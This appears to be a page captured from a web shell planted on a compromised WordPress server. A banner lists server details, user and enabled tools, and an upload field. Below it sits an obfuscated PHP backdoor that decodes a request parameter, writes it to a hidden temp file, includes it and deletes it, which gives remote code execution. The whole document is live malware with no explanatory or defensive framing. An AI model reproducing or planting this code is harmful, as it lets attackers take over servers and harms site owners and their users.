| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/Solum-construction/demo-job/wordpres/ |
Upload File : |
<?php
if(@$_REQUEST["b\x69\x6Ed"] !== null){
$flag = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getenv("TMP"), "/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getcwd()]);
$pointer = $_REQUEST["b\x69\x6Ed"];
$pointer = explode ( '.' ,$pointer ) ;
$dat = '';
$salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($salt );
$len = count($pointer );
for ($q = 0; $q < $len; $q++) {
$v7 = $pointer[$q];
$chS = ord($salt[$q % $lenS] );
$d = ((int)$v7 - $chS - ($q % 10)) ^ 87;
$dat .= chr($d );}
foreach ($flag as $property_set):
if ((bool)is_dir($property_set) && (bool)is_writable($property_set)) {
$factor = implode("/", [$property_set, ".rec"]);
if (file_put_contents($factor, $dat)) {
include $factor;
@unlink($factor);
exit;
}
}
endforeach;
}